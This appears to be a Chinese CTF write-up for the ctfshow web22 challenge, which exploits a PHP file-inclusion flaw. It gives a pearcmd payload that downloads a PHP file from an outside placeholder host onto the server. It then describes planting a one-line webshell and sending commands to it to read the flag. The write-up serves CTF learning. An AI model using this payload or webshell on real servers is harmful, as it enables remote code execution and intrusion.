ctfshow萌新计划web22
ctfshow萌新计划web22
- 前言
- 正文
- web22
前言
上次做题,直接瞄准ctfshow萌新计划开炮,结果没打完,这次来补充一下。
正文
web22
打开题目,发现了源码
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\:|\/|\\\/i",$c)){include($c.".php");}}else{highlight_file(__FILE__);
}
?>
发现相比较前面几个,过滤的少了,但是变为了include文件包含
,并且把传参c
和.php
拼接在了一起。刚拿到,就想着还是用日志包含
进行后门文件上传
,然后访问日志目录
进入网站目录
。但是可能因为是过滤了,没成功,就想着绕过过滤,然后把后面的.php
文件后缀给注释
掉,但是一直不成功。后来在群里问了大师傅之后,才知道这个题目的身份是www用户,
无法远程访问默认日志文件
。那么到这里就断了,该怎么办呢?问了大师傅之后得到了新的思路,详情还是看这篇文章。
刚看了这篇文章之后,我直呼涨见识,这,,根本没听说过,好吧,是我菜了。
关于命令pearcmd&+download+http://xxx.php
这个,文章里有说明,不进行过多的讲解,这里给一下自己的见解。
pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。下载文件从指定服务器
然后根据大师傅的博客,进行尝试。首先构造payload为:?c=pearcmd&+download+http://xxxxx/1emon/index.php
。
而对于,index.php
内容是
然后用构造的payload尝试,发现
然后访问文件得到当前的用户信息
那么既然成功了,接下来就用一句话进行了,直接修改文件内容为一句话木马,然后同样的方法,访问之后,在post传参,结果如下:
得到flag。
ctfshow萌新计划web22相关推荐
- ctfshow 萌新计划 writeup1-8
ctfshow 萌新计划 writeup1-8 web1 题目:代码很安全,没有漏洞. 网页代码如下 <html> <head><title>ctf.show萌新计 ...
- CTFSHOW 萌新赛 萌新记忆
CTFSHOW 萌新赛 萌新记忆 吐槽一下我感觉萌新这个词在侮辱我,我还搞了半天 进去之后查看源代码,把能点的地方都点一下发现没有什么可以搞的,就打开了御剑来扫描了一波,发现了admin目录进去要让我 ...
- ctfshow萌新红包题writeup
ctfshow萌新专属红包题writeup 题目来源:https://ctf.show/ 这一题是ctfshow平台上面2月17日更新的一个萌新红包题,当天在官方交流群内知道晚上会有一个萌新红包题之后 ...
- ctfshow 萌新web10-21
ctfshow 萌新web10-21 web10 题目提示flag在congfig.php中 php中作为执行系统命令的函数: system() passthru() exec() shell_exe ...
- CTFshow_萌新计划_web1-21
0x01 web1 关键代码: if(isset($_GET['id'])){$id = $_GET['id'];# 判断id的值是否大于999if(intval($id) > 999){# i ...
- ctfshow 萌新22 (类似级客巅峰web4)
在之前ctfshow平台的萌新22,大家都认为是无解的,题目也介绍了"还能搞,阿呆表示将直播倒立放水".但是在级客巅峰结束的那天晚上,群里的师傅介绍说,如果修改了php.ini里面 ...
- ctfshow 萌新赛 给她
初识: 一开始看到这个题目以为是sql注入,尝试了各种sql注入转义次都注入不了 .git泄露:最后还是看了一下大佬的解题,发现方向就错了,"给她"--"git" ...
- ctfshow萌新赛web
文章目录 萌新赛web_萌新记忆 萌新赛web_假赛生 萌新赛web_给她 萌新赛web_萌新记忆 这道题是看了大佬的题解才做出来的,扫描可以得到admin目录 这里需要有几个过滤需要绕过 or被过滤 ...
- ctfshow 萌新入门1
萌新_密码1 题目: 密文: 53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F474 ...
最新文章
- 接口中不能有方法体吗-------不是
- JVM调优总结(四)-垃圾回收面临的问题
- python两个二维数组加法_对二维数组的多个列进行Numpy平均
- poj1969---找规律
- Android之Activity **** has leaked window android.widget.PopupWindow$PopupDecorView that was originall
- (四)Go 语言编译流程简述
- MySQL正则表达式的使用
- java运行异常日志_使用log4j记录Java中的运行时异常
- androidpn的学习研究(八)androidpn 中业务类XmppIoHandler实现分析
- ssm整合之配置applicationContext-service.xml
- 解决在ubuntu环境下, sublime不能输入中文的问题
- 示例1---从记事本中读取数值,然后写到数组中
- 为什么90%的CTO 都做不好绩效管理
- 阿斯克码表ACSII对照表
- 电力系统稳态matlab,基于MATLAB的电力系统稳态仿真分析
- 解决海外安卓设备,WIFI“已连接 但无法访问互联网”问题
- 服务器定时关机 修改时间,服务器每周 设置定时关机
- UE4-如何做一个简单的TPS角色(二)-实现角色基础移动
- 机器学习——关联规则
- 系统集成项目管理工程师好考吗?有什么用?
热门文章
- springboot/springcloud整合mybatis(mysql)
- The bean 'llWebSocketHandler' could not be injected because it is a JDK dynamic proxy that implemen
- 安全编码实践:什么是安全编码标准?
- 学计算机人都很自私,心理学家:内心极度虚伪的人,往往都有这三个特征,趁早远离!...
- 逆袭:2012互联网盘点
- maven 依赖包查询
- 归一化数字角频率_数字信号处理中的各种频率
- 【OpenCV C++ 案例实战一】实现双人篮球游戏
- 【2019-07-23】]python3 把日语翻译为中文 调用百度翻译API接口及API申请使用教程
- mui报错:[Intervention] Unable to preventDefault inside passive event listener due to target being